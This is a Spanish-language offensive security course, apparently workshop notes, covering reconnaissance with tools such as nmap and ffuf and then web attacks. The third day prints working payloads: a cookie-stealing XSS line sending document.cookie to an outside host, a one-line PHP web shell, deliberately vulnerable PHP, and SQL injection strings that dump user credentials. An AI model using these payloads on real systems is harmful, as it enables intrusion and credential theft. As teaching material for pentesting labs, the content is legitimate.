Dia 1

Agenda

Dia 1

  • Que tipos de seguridades ofensivas hay
  • De que esta hecha la internet
  • Recon pasiva vs activa
  • Recon pasiva ejemplos

Dia 2

  • Reconocimiento activo
  • Encontrando vulnerabilidades

Dia 3

  • Explotando applicaciones web
  • Shells

Seguridad Ofensiva Qué ? y Para Qué ?

La seguridad ofensiva es una estrategia donde simulamos ataques reales a una aplicación o infraestructura.

Hay distintos tipos:

  • Pentest
  • Red Team
  • Análisis de Vulnerabilidades.

Análisis de Vulnerabilidades

Considera la superficie de ataque de una organización o aplicación. A diferencia de un pentest no se explotan las vulnerabilidades solo se reportan.

Pentest

Es una forma ofensiva de encontrar vulnerabilidades en una o mas aplicaciones e incluso una red. El fin del pentest esta en encontrar la mayor cantidad de vulnerabilidades y explotarlas para luego reportar las medidas preventivas necesarias y los riesgos de las mismas.

Redteam

Es otra forma ofensiva de mejorar la seguridad del colectivo, a diferencia del pentest no busca encontrar la mayor cantidad de vulnerabilidades sino simular ataques reales contra la organización y evaular la respuesta de la misma.

Pasos de un ataque

Hay distintas metodologías para entender la serie de acciones llevadas a cabo durante un ataque como MITRE ATT&CK o la Cyber Kill Chain.

Mas allá de estas metodologías, podemos dividir el ataque en 4 etapas:

  1. Reconocimiento
  2. Análisis de vulnerabilidades
  3. Explotación vulnerabilidades
  4. Post explotación

MITRE ATT&CK: https://attack.mitre.org/ Cyber Kill Chain: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

1 Reconocimiento o Recon_

Durante el reconocimiento buscamos información sobre la organización analizada para incrementar la “superficie de ataque”.

Usamos herramientas como buscadores web, servidores dns, bases de datos públicas y scripts de reconocimiento.

La información que buscamos es identidades, direcciones de email, nombres de usuarios, contraseñas, IPs, puertos, dominios y subdominios, URLs, tecnologías usadas, versiones de servicios, etc.

El recon podría dividirse en 2, recon activo y pasivo.

El reconocimiento pasivo es el que hacemos sin comunicarnos directamente con los servidores que estamos evaluando. Esta es información pública que cualquiera puede obtener sin conocimiento de les administradores de estos servicios.

El reconocimiento activo, al comunicarse directamente con los servidores, podría ser detectado aunque tambien podría confundirse con el tráfico cotidiano de los servicios.

2 Análisis de Vulnerabilidades_

Con la información recolectada durante la etapa de reconocimiento podemos evaluar si hay vulnerabilidades ya conocidas en los servicios descubiertos o tratar de encontrar nuevas vulnerabilidades.

En esta etapa también intentamos utilizar las credenciales de acceso que hubieramos conseguido y realizamos ataques de fuerza bruta para acceder a servicios.

3 Explotación de Vulnerabilidades_

Una vez identificadas las vulnerabilidades procedemos a explotar las mismas.

Explotar quiere decir hacer que el programa en ejecución haga algo inesperado para ayudarnos con el objetivo de el análisis. Por ejemplo leer un archivo al que no deberiamos tener acceso o ejecutar un comando en el servidor.

4 Post Explotación_

Una vez que identificamos y confirmamos las vulnerabilidades podemos utilizarlas para lograr nuestros objetivos.

Dependiendo del ejercicio podemos exfiltrar o modificar datos, escalar privilegios para tener root/admin en el servidor o incluso movernos a otros servidores en la infraestructura.

Seguridad en profundidad

La Seguridad en profundidad propone la defensa en capas. Busca la resiliencia mediante la redundancia y un enfoque holistico. Que un fallo puntual no comprometa completamente nuestra seguridad.

  • Concientización (edudacion)
  • Acceso físico (donde estan los servers)
  • Perimetro (firewall, vpn)
  • Red (detectar actividad maliciosa en la red interna)
  • Dispositivo (buenos passwords, control de permisos)
  • Aplicación (buenas practicas de seguridad, pentest)
  • Datos (redundancia, backups, cifrados)

De que esta hecha la internet

Qué es un Sistema Operativo?

Un sistema operativo es un conjunto de programas que ayudan a gestionar el hardware de una computadora. A las computadoras que proveen servicios por internet se las suelen denominar servidores o servers.

El sistema operativo permite que aplicaciones como un pad o un servicio de mail puedan correr sobre el hardware, interactuando con este de forma genérica, sin conocer puntualmente que tipo de hardware es.

INTERNET PROTOCOL SUITE

Se puede dividir una red en 4 capas, de más alto a más bajo nivel de abstracción. Las capas más altas se apoyan en las más bajas para funcionar.

Capa de Aplicación:

Protocolos de comunicación entre aplicaciones.

HTTP, FTP, DNS, SSH, SMTP, DHCP, …

Capa de Transporte:

Facilita la comunicación entre nodos. Provee servicios como comunicación orientada a conexiones, fiabilidad, control de flujo y multiplexado.

TCP, UDP, ICMP, RSVP, QUIC, …

Capa de Internet o Ruteo:

Transporta paquetes a travez de diferentes segmentos de red hacia un destino especifico, como una dirección IP. Conecta segmentos de red a travez de puertas de enlace (gateways).

IP, IPSEC, ICMP, IGMP, ECN, …

Capa de Enlace:

Es el conjunto de métodos y estándares que interconecta nodos adyacentes de un segmento de red.

ARP, PPP, MAC, Ethernet, Wi-Fi, DSL, …

DNS

Son servidores web que traducen dominios a direcciones IP para poder acceder a servicios en internet.

HTTP

Es un protocolo de transferencia de informacion a traves de archivos html en una red.

HTTP Código de Estado
  • 1xx Información (“Esperá”)
  • 2xx Éxito (“Acá esta la data”)
  • 3xx Redirección (“Es por allá”)
  • 4xx Error de cliente (“Tu error”)
  • 5xx Error de servidor (“Mi error”)

Qué es una aplicación web?

Una aplicación web es un programa que corre en un servidor conectado a Internet. Esta recibe conexiones HTTP de un navegador web y responde con documentos HTML y demás archivos multimedia (css, javascript, imagenes, etc.). El navegador hará las conexiones HTTP al puerto 80 del servidor y las conexiones HTTPS al puerto 443, a menos que se especifique otro.

A diferencia de otros programas las aplicaciones web suelen estar programadas en lenguajes interpretados (PHP, Python, NodeJS, Ruby, …), osea que no son compilados a binarios previamente sino que al momento de ser ejecutados el código fuente es interpretado por un motor que lleva a cabo las acciones definidas en el código.

Por lo general una aplicación web recibirá entrada de datos desde el cliente en el URL path, cookies y parametros POST y GET (URL query string). Otras entradas son cabeceras HTTP y upload de archivos.

Procesará estos datos, hará consultas a una base de datos SQL y presentará una salida de datos como un documento HTML o JSON. Otros formatos como XML, PDF, CSV, etc.

Estas autentican al cliente usando cookies, cabeceras HTTP en los casos de API keys o autenticación HTTP Basic o secretos incluidos en la URL.

Front End

Se le dice front end al código que se ejecuta en el navegador. Son los elementos gráficos que vé y con los que interactua le usuarie. Por ejemplo un javascript que ordena una lista de items, o un formulario para mandar un mensaje.

Se compone generalmente por:

  • Documento HTML
  • Código Javascript
  • Estilos CSS

Back End

Se le dice back end al código que se ejecuta en el servidor. El front end se comunica con el backend para enviar y recibir información de la base de datos y realizar acciones.

El back end se encarga de la lógica de la aplicación, autenticar usuaries, mantener las sesiones, almacenar los datos y permitir la interacción entre usuaries a travez de la aplicación.

Recon Pasiva

Google Dorks

Son herramientas para encontrar cosas en google, mas informacion en https://securitytrails.com/blog/google-hacking-techniques

Whois

Obtener el nombres, email y datos de contacto de quien registró el dominio o quien administra la dirección IP.

Dig

Hace peticiones DNS sobre un dominio.

dig [<opciones>] <tipo de registro> <dominio> [@<servidor DNS>]

dig +short NS 0xche.org

dig +short A 0xche.org

dig +short ANY 0xche.org

Reverse Lookup

La idea es obtener un dominio en funcion a su direccion ip, hay plataformas web como mxtoolbox.com o puede usarse dig

Dia 2

Recon Activo

  1. Subdominios
  2. Puertos
  3. Tecnologías
  4. Carpetas/Archivos (Paths)
  5. Parámetros/Entradas (Inputs)

Subdominios

Lo primero a buscar son servidores, subdominios e IPs. Los subdominios pueden apuntar a una misma IP o diferentes. Pueden apuntar a una misma instancia de una aplicación o ser simples redirecciones.

Pueden apuntar a diferentes instancias de una misma aplicación o diferentes aplicaciones completamente.

DNSRecon

DNSRecon es una tool que hace peticiones DNS para encontrar subdominios del dominio que le pasemos. Busca no solo en servidores DNS sino tambien en buscadores como Bing y Yandex Google o bases de datos como crt.sh

El escaneo basico devuelve los registros de tipo SOA, NS, A, AAAA, MX y SRV.

dnsrecon -d 0xche.org

Podemos especificar solo un tipo de escaneo con el parametro -t o agregarlos al escaneo basico agregando el flag correspondiente a cada uno.

-t brt busca todos los subdominios en el diccionario especificado en el parametro -D .

-t crt o -k busca subdominios en la base de datos crt.sh.

-t bing o -b busca subdominios en el buscador Bing.

-t rvl hace una busqueda inversa en el rango de IPs especificado en el parametro -r o --range.

Listar dominios conocidos:

> dnsrecon -k -b -y -d 0xche.org

Busqueda de fuerza bruta:

> dnsrecon -D namelist.txt -t brt -d 0xche.org

Busqueda inversa de dominios por rangos IP:

> dnsrecon -t rvl -r 1.2.3.4/24

Puertos

La idea del mapeo de puertos es descubrir aplicaciones corriendo en diferentes puertos del server. Pueden ser aplicaciones webs o binarios.

Ademas de conocer que aplicaciones se utilizan queremos conocer la versión para saber si están actualizadas o existen vulnerabilidades conocidas en las mismas.

Nos ayuda también a identificar el sistema operativo y las tecnologías en uso.

Nmap

Nmap nos permite conocer que puertos responden a conexiones en cierta IP o dominio y que servicio corre en cada puerto.

Para esto Nmap envía un paquete a cierta IP y puerto y espera una respuesta. Por default envía un paquete TCP SYN (osea inicia una conexión), si el puerto está abierto el servidor responderá con un SYN-ACK, si el puerto esta cerrado responderá con un RST-ACK.

Comúnmente el puerto estará bloqueado en el firewall que descartará el paquete sin ninguna respuesta apareciendo como “filtered” en los resultados.

https://nmap.org/man/es/man-port-scanning-techniques.html

Es el estandar para el mapeo de puertos. Creado en 1997!

> nmap -Pn -p- -oA nmap_full.txt -v -T4 104.131.24.87

-Pn trata al servidor como si estuviera online. Sino envía un ping y solo escanea las Ips que responden.

-p- escanea todos los puertos, del 1 al 65535. Podemos especificar solo algunos. Ej. -p 80,443 o -p 8000-8999.

-oA guarda los resultados en un archivo.

-v modo verboso, muesta más detalles.

-T selecciona la velocidad con la que vamos a escanear, del 1 al 5, mayor es más rápido.

Nmap Scripts

Nmap cuenta con un motor de scripting (NSE) para automatizar la detección de vulnerabilidades, a estos scripts se les llaman nse-scripts.

> nmap -Pn -p- -sV --script “vuln and safe” -vvv -T4 -oA
scripts_out.txt 0xche.org

-sV determina la versión del servicio

--script le decimos que use los scripts para buscar vulnerabilidades y que sean seguros. Otras categorias como auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, version.

También podemos especificar uno o varios scripts por nombre, separados por comas.

> nmap -v -p 21 -Pn -n --open --script ftp-anon 128.148.32.1-254

-n no resolver el nombre por DNS

--open solo mostrar puertos abiertos

1-254 todas las IPs desde x.x.x.1 hasta x.x.x.254

Más scripts en /usr/share/nmap/scripts.

Cada script tiene una ayuda.

> nmap --script-help http-git.nse

Tecnologias (Fingerprinting)

Fingerprinting es la accion de obtener información sobre los servicios que estamos mapeando.

Esto puede ser por ejemplo que servidor web usa (Apache, nginx), que stack web usa (PHP, Python) o que sistema operativo (Windows, Ubuntu, Debian,…).

Nikto
> nikto -h https://0xche.org
> nikto -h 104.131.24.87 -p 443
Whatweb
> whatweb https://0xche.org

Fuzzeando Paths

Muchas veces podemos encontrar endpoints escondidos por les desarrolladores, archivos de pruebas o rutas expuestas por negligencia o errores de configuración.

Una estrategia para buscar estos paths es el fuzzing, que consiste en probar distintos nombres comunes para encontrar subdominios (como vimos con dnsrecon) o paths en la URL.

Dos herramientas que podemos usar para fuzzing son gobuster y ffuf.

Hacen requests HTTP en paralelo agregando palabras de algún diccionario a la URL para intentar adivinar subdominios, carpetas, archivos o parámetros.

En Kali tenemos muchos diccionarios en /usr/share/wordlists.

Mas diccionarios: https://github.com/danielmiessler/SecLists https://github.com/berzerk0/Probable-Wordlists

Gobuster
> gobuster dir -f -r -k -w common.txt -u https://0xche.org

-u URL base.

-w Lista de palabras a agregarle.

-f Agregar una / al final.

-r Seguir redirecciones.

-k Ignorar errores SSL (certificados autofirmados o caducos).

Ffuf
> ffuf -u https://0xche.org/FUZZ -w common.txt

-mc 200,204,301,302,307,401 -sf -o resultados.txt

-u La URL base, podemos incluir FUZZ para indicar donde queremos que se incluya la palabra.

-w El diccionario de palabras a probar.

-mc Los códigos de estado que nos interesa guardar.

-sf Detenerse si el 95% de las peticiones da 403 Forbidden.

-o Donde guardar los resultados.

Parametros

Finalmente nos interesa identificar parametros que podamos manipular para provocar errores e identificar vulnerabilidades.

Los parámetros se pueden usar directamente en la lógica del código, en consultas SQL, como nombre de un archivo a leer, incluir en la respuesta, etc, etc, etc.

Cuantos más parametros más chances de que uno sea utilizado de manera insegura.

Gospider
> gospider -s "https://0xche.org/" -o output -c 10 -d 2 --
blacklist ".(woff|ico|png|jpg|ttf|pdf)"

-s La URL desde donde comenzar a crawlear.

-o Donde guardar los resultados.

-c Cantidad de conexiones concurrentes.

-d Cuantos niveles de enlaces a seguir.

--blacklist Expresión regular de URLs a ignorar.

Puertos Comunes

22 SSH tcp

Es un protocolo y programa que permite el acceso remoto a servidores.

ATAQUE COMUN

Bruteforcear credenciales, por ejemplo con hydra. Vulns en versiones desactualizadas.

53 DNS tcp

Como ya vimos es un protocolo para identificar IPs con nombres.

ATAQUE COMUN

Zone Transfer, este ataque permite ver todos los DNS records de la organización.

80/443, 8000, 8080, 8443, 3000 HTTP tcp

Como ya vimos es un protocolo para identificar IPs con nombres.

ATAQUE COMUN

Listar/subir/descargar archivos, atacar la aplicación web.

tcp: 138,139, 445 udp: 137,138 SMB/Netbios

Por lo general en sistemas Windows. Smb permite compartir recursos en una red (archivos, impresoras). Netbios permite a aplicaciones en distintas computadoras en una red comunicarse entre ellas.

ATAQUE COMUN

Eternalblue es un ejemplo, tambien puede usarse para enumerar la red y recursos compartidos.

25/587, 110/995 , 143/993 EMAIL

Explicar como funciona un servidor mail esta por fuera de la presente sesion, pero es importante nombrarlos

ATAQUE COMUN

Es util para enumerar usuarios en algunos casos. Tambien se recomienda investigar open relays y mail spoofing.

Bases de Datos

  • 1443 MSSQL Es la base de datos creada por microsoft.
  • 3306 MySQL/MariaDB Base de datos SQL muy popular.
  • 5432 PostgreSQL Base de datos SQL tambien popular.
  • 27017 27018 MongoDB Base de datos NoSQL.
ATAQUE COMUN

Usuarios anónimos, ejecución de codigo remota, escribir archivos.

Descubriendo Vulnerabilidades

Una vez que ya hicimos el recon y mapeamos a nuestro target el siguiente paso es descubrir vulnerabilidades.

Podemos hacer esto de varias formas. La primera y más sencilla es buscar vulnerabilidades existentes en Kali o en la web.

Otra forma es intentar identificar nuevas vulnerabilidades (0days), ya sea a ciegas de forma genérica (black box) o analizando el código fuente si tenemos acceso (white box). Por ejemplo buscando una vulnerabilidad en un plugin de Wordpress.

Searchsploit

Searchsploit es una herramienta en kali linux que nos deja buscar exploits que esten en exploit-db.com

Wordpress

Es un sistema de gestion de contenidos (CMS). Es usado por el 40% de los sitios web. Al ser de código abierto y popular podemos buscar vulnerabilidades conocidas según la versión.

Normalmente encontramos 4 tipos:

  • Vulnerabilidad de WP en su código.
  • Vuln en algún plugin de WP.
  • Vuln en algún theme de WP.
  • Errores de configuración.

Hay herramientas que automatizan el trabajo de encontrar estas vulnerabilidades.

WPscan
> wpscan --enumerate vp,vt,cb,dbe -o blog.txt --url https://blog.com

vp plugins con vulnerabilidades conocidas.

vt templates con vulnerabilidades conocidas.

cb busca backups del archivo de configuración.

dbe busca exports de la base de datos.

> wpscan --enumerate u -P passwords.txt --url https://blog.com

u intenta descubrir los 10 primeros usuarios. Podemos especificar cuantos queremos u1-100.

-P o --passwords listado de passwords para probar con los usuarios descubiertos.

Drupal

Al igual que wordpress drupal es un CMS muy utilizado, para encontrar version, vulns en plugins, themes, etc podemos usar droopescan.

> droopescan scan drupal -u http://example.com

Mas Fuzzing

Buscando argumentos no sanitizados en SQL provocando errores.

ffuf -u "https://0xche.org/FUZZ'(=" -w urls.txt

-mc 500,502,503,504 -fs -o resultados.txt

-mc 500,502,503,504 Solo seleccionamos los codigos de estado de error.

-w urls.txt Tenemos que armar un listado de paths incluyendo los parametros.

Buscando argumentos no sanitizados en el HTML.

> ffuf -u "https://0xche.org/FUZZ<xss>" -w urls.txt

-fs -mr “” -o resultados.txt

-mr “” Nos quedamos con las respuestas que incluyan nuestra inyeccion HTML.

Ejemplo

1 recon

Mapeamos metasploitable con nmap

2 vuln analisis

Elegimos un proceso y buscamos vulnerabilidades conocidas

Dia 3

Explotación

Una vez que mapeamos la superficie de ataque, identificamos y confirmamos vulnerabilidades es hora de utilizarlas. Por ejemplo para leer o escribir datos sensibles, tomar control del servidor o expandir la superficie de ataque combinandolas con otras vulnerabilidades.

> Qué es un exploit?

Un exploit es un ejecutable o comando que interactua con una vulnerabilidad para ejecutar un payload. También podemos verlo como la acción o secuencia que explota una vulnerabilidad.

> Qué es un payload?

Payload es la acción que vamos a poder ejecutar en el servicio vulnerable.

En la etapa de detección el payload puede ser tan simple como mostra un mensaje o hacer ping o una petición a un servidor que controlemos.

En la etapa de explotación puede ser correr comandos o código, crear un usuario, modificar una base de datos, etc.

Ataques Web

  • Cross Site Scripting (XSS)
  • Session hijacking
  • Inclusión de Archivos Local y Remota
  • Webshells
  • Inyección SQL

Cross Site Scripting (XSS)_

Cross Site Scripting es una vulnerabilidad que al no sanitizar entrada de un usuarie y usarla en un documento HTML o Javascript (JS), nos permite inyectar nuestro propio HTML y JS en algún documento que eventualmente se ejecutará en el navegador cliente.

Lo podemos usar para copiar cookies (que no sean solo HTTP) y realizar peticiones en nombre del usuarie.

Se dividen en 3 tipos Almacenada, Reflejada y DOM.

Más info sobre ataques web: https://portswigger.net/web-security

XSS Reflejado_

Éste se da cuando la entrada de una petición HTTP se utiliza inmediatamente en la respuesta sin ser sanitizada.

Este XSS tiene la desventaja de que solo funciona en esa petición, por lo que para atacar une usuarie debemos engañarle para que haga esa petición, por ejemplo haciendo click en un link o usando otro XSS en otro sitio.

XSS Almacenado_

Este tipo de XSS se da cuando la entrada de una petición se almacena en el sistema de persistencia de la aplicación, por ejemplo una base de datos. De esta forma cualquier persona que ingrese a la URL va a ejecutar nuestro payload sin necesidad de mandarles el link.

XSS DOM_

El Document Object Model (DOM) es una representación de los objetos que componen la estructura y contenido de un documento HTML. El DOM permite manipular dinámicamente un documento web via Javascript.

El DOM XSS se da cuando Javascript dinámicamente toma información de una fuente (source) manejada por le atacante y lo pasa a un destino (sink) que soporta ejecución de codigo.

Fuentes: document.URL, document.documentURI, location, document.cookie, localStorage, etc.

Destinos: document.write(), document.domain, element.innerHTML, element.onevent, etc.

Ejemplo:

<script>
var buscar = document.getElementById('buscar').value;
var resultado = document.getElementById('resultado');
resultado.innerHTML = 'Buscaste: ' + buscar;
</script>
<input id=”buscar” />
<div id=”resultado”></div>

Como controlamos el valor de buscar podemos inyectar:

Buscaste: <img src=1 onerror='alert(document.cookie)'>

Falsificación de Peticiones (CSRF)

Una forma de realizar acciones no autorizadas es hacer que una persona autorizada las haga por nosotres. Estas acciones pueden realizarse via JS, formularios o enlaces. Esto podriamos lograrlo mediante ingeniería social o explotando un XSS.

Si una accion es via GET esta si podría ser explotada al hacer click o ser redirigide desde otro dominio. Para POST, PUT, etc. debemos usar formularios o JS. Pero los navegadores modernos no enviarán cookies a otro dominio (cross-origin).

Ni permitirá al JS leer el contenido del otro dominio. Puede permitirse explicitamente si el dominio origen está incluido en las cabeceras Access-Control-Allow-Origin del dominio destino.

Otra forma de prevenir o dificultar este tipo de ataque es incluir un secreto o token en las peticiones, llamado CSRF Token o XSRF Token.

En caso de conseguir un XSS en el dominio analizado podemos, via JS, leer los tokens y ejecutar acciones en nombre del usuarie que este corriendo ese JS.

Session hijacking

Otra forma de lograr mayores accesos a un sitio donde tenemos un XSS es copiar las cookies del usuarie y de esa forma poder usar su sesión desde nuestro naveador.

Esto por lo general no es posible ya que se pueden configurar las cookies para que solo se envien en las peticiones HTTP y no sean accesibles desde JS.

document.write('<img src="//0xche.org/' + document.cookie +'"/>');

Inclusión de Archivos (LFI, RFI)

Inclusión de Archivos (File Inclusion) es la vulnerabilidad que nos permite incluir archivos arbitrarios en el código backend que va a responder a nuestra petición. Esto resulta en que se lean y muchas veces ejecuten estos archivos en el servidor.

Es local cuando el archivo a incluir esta en el mismo servidor y remoto cuando el archivo se encuentra en otro servidor, por ejemplo uno que controlemos.

Ejemplo de código PHP vulnerable:

<?php
include('cabecera.php');
include($_GET['pagina']);
include('pie.php');
?>

Una estrategia común es usar ../../../ para llegar a / (la raiz del sistema de archivos) y luego buscar un archivo que nos interese como por ejemplo /etc/passwd.

Otra estrategia es combinar esta vulnerabilidad con un upload irrestricto y así incluir (y ejecutar) nuestro propio código en el servidor.

Muchas veces podemos saltear medidas de seguridad en uploads, por ejemplo al subir una foto y controlar que la extension no sea .php, pero podria usarse .phtml o .php5.

Inclusión de Archivos Remota (RFI)_

Esta vulnerabilidad se da generalmente en aplicaciones PHP mal configuradas (allow_url_fopen=on y allow_url_include=on) que a la vez son vulnerables a inclusión de archivos.

En éstas en vez de enviar un path del sistema de archivos como payload enviamos una dirección URL, el script que recibe esta petición descargará e incluirá (y ejecutará) el archivo remoto.

Uno de los fines más comunes del RFI es ejecutar una web shell para poder ejecutar comandos en el servidor.

> Web shell_

Una vez que logramos subir un archivo, una tecnica interesante es subir una web shell, que es un programa que se encarga de ejecutar el código que le digamos en el servidor, por ejemplo podemos pedirle que nos liste archivos o crear usuarios si se dan los permisos.

<?= shell_exec( $_GET['cmd'] ); ?>

Web shell bien completa: https://github.com/b374k/b374k

> Inyección SQL (SQLI)’

SQL es el lenguaje que se utiliza para interactuar con las bases de datos relacionales. Al utilizar entradas del usuarie en las consultas (query) SQL sin sanitizar podemos inyectar nuestro propio SQL y manipular la consulta y los resultados.

<?php
$conexion = new mysqli('localhost', 'root', '', 'midb');
$sql = "SELECT * FROM articulos WHERE id = '" . $_POST['id'] . "';";
$resultado = $conexion->query($sql);
$articulo = mysql_fetch_assoc($resultado);
?>
<h1><?= $articulo['titulo'] ?></h1>
<?= $articulo['cuerpo'] ?>

Cualquier entrada puede ser un vector para una vulnerabilidad SQLI, en especial valores numíricos como IDs o número de página, pero también cualquier campo de formularios o parámetros de la URL.

Una forma simple de detectarlas es incluyendo comillas, parentesis y otros caracteres que generen un error de sintaxis en la consulta. En tal caso el servidor devolverá un error 500 o una página vacia.

Payload: ‘)")(=/*

El objetivo al explotar un SQLI es alterar la consulta para que saltee una verificación, traiga otros datos o en raras ocasiones actualize o inserte datos alterados. Para esto tenemos que conocer la forma de la consulta SQL o adivinar su forma general.

Una forma común de saltear una verificación es alterando la lógica de la consulta con este payload genérico o similares:

' OR '1'='1

Esto alteraría una consulta de la siguiente forma:

SELECT * FROM admin WHERE secret = '' OR '1'='1';

UNION es un operador útil para SQLI por que nos permite unir los resultados de dos SELECT distintos siempre que estos tengan la misma cantidad de columnas.

Primero descubrimos cuantos campos devuelve la query original y cuales son visibles en la respuesta.

vuln.org/articulo.php?id=1'+UNION+SELECT+1,2,3,4--

Luego seleccionamos lo que queremos ver de otra o la misma tabla.

vuln.org/articulo.php?id=1 '+UNION+SELECT+1,usuario,3,clave+FROM+admins--

Cuando la respuesta no incluye datos de la consulta en la que tenemos una inyección SQL se le llama Inyección SQL Ciega (blind).

Para explotar este tipo de vulnerabilidad alteramos la consulta de forma de poder hacer una pregunta sobre algun dato en la DB y obtenemos una respuesta VERDADERO o FALSO.

Haciendo muchas de estas consultas podemos extraer la información bit a bit, letra a letra o intentando adivinar datos y obteniendo una confirmación.

En estos casos para exfiltrar información tenemos 2 opciones la booleana y la basada en tiempo.

Cuando la respuesta cambia si la consulta SQL devolvió o no resultados podemos usar el tipo booleano. Viendo si la respuesta es exitosa o no sabremos si nuestra pregunta sobre los datos es verdadera o no.

SELECT 1 FROM admins WHERE secret = 'bla' OR secret LIKE 'a%';

Cuando no es posible usamos la basada en tiempo y alteramos la consulta para que espere cierto tiempo en caso de que nuestra consulta sea verdadera. Midiendo el tiempo de respuesta sabremos el resultado. Este método es más lento y se presta a errores.

SELECT 1 FROM admins WHERE secret = 'bla' OR secret LIKE 'a%' AND
SLEEP(5);--';

Inyección SQL (SQLI)’ Pasos

  1. encontrar el error
')")(=/*
  1. chequear version de db
‘ union select version()#
  1. chequear nombre de la db
‘ union select user(),database() #
  1. buscar tablas en la db
' union select null,table_name from
information_schema.tables #
  1. buscar columnas en las tablas
' union select null,column_name from
information_schema.columns where table_name='users'
#
  1. obtener la informacion que necesitamos
'union select null,concat(user,'-',password) from
users #

Sqlmap

SQLmap es una herramienta que facilita la detección y explotación de vulnerabilidades SQLI.

> sqlmap -u "http://192.168.56.4/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit" --cookie='security=low;
PHPSESSID=7d6f04db908fc5a33457ce5eeb7d9889' --random-agent

Cuando queremos analizar peticiones POST o PUT debemos incluir los datos en --data categoria=hacking&count=5 y el método en --method POST.

En algunos casos puede fallar o no ser óptimo, para debuguear podemos ver que payloads envía aumentando la verbosidad -v 3, ver las cabeceras de las respuestas con -v 5 y el cuerpo de las respuestas con la verbosidad máxima -v 6.

Si queremos analizar todo el sitio en vez de solo una URL podemos usar --crawl 3 especificando cuantos enlaces de profundidad queremos seguir desde la URL original y --forms para que intente inyectar en los formularios también. Se le pueden escapar las URLs y formularios generados dinamicamente con Javascript.

Si sabemos el motor de la base de datos (DBMS) podemos saltear las que no sean para ese. --dbms mysql

Para mayor velocidad podemos prender las optimizaciones -o aumentar las peticiones en paralelo --threads 6 y solo analizar en profundidad los parametros que la heuristica cree vulnerable --smart.

Si no queremos que nos pregunte y haga lo default podemos usar --batch y --beep nos avisa con un sonido cuando encontró una vulnerabilidad.

Una vez que detectamos una SQLI, SQLmap nos da muchas opciones para explotarla.

--current-user Ver el usuario de la DB en uso

--current-db Ver la base de datos en uso

--is-dba Ver si el usuario en uso es admin

--dbs Listar bases de datos

--tables Listar tablas

--columns Listar columnas

--dump Enumerar datos de las tablas

--all Todos los anteriores y mucho más

-D Base de datos a enumerar

-T Tablas a enumerar

-C Columnas a enumerar

Metasploit

Metasploit es un framework o command and control, nos permite utilizar exploits y crear sesiones (shells) en servidores objetivo (targets).

Offensive Security tiene un curso gratuito https://www.offensive-security.com/metasploit-unleashed

Msfconsole

Msfconsole es desde donde vamos a buscar, configurar y ejecutar nuestros exploits.

Como ya hicimos con searchsploit en kali, msf tiene search.

Set

Para correr el exploit necesitamos utilizar el comando use y luego configurar las opciones que necesite con set.

Exploit

Una vez seteado rhost podemos explotar el target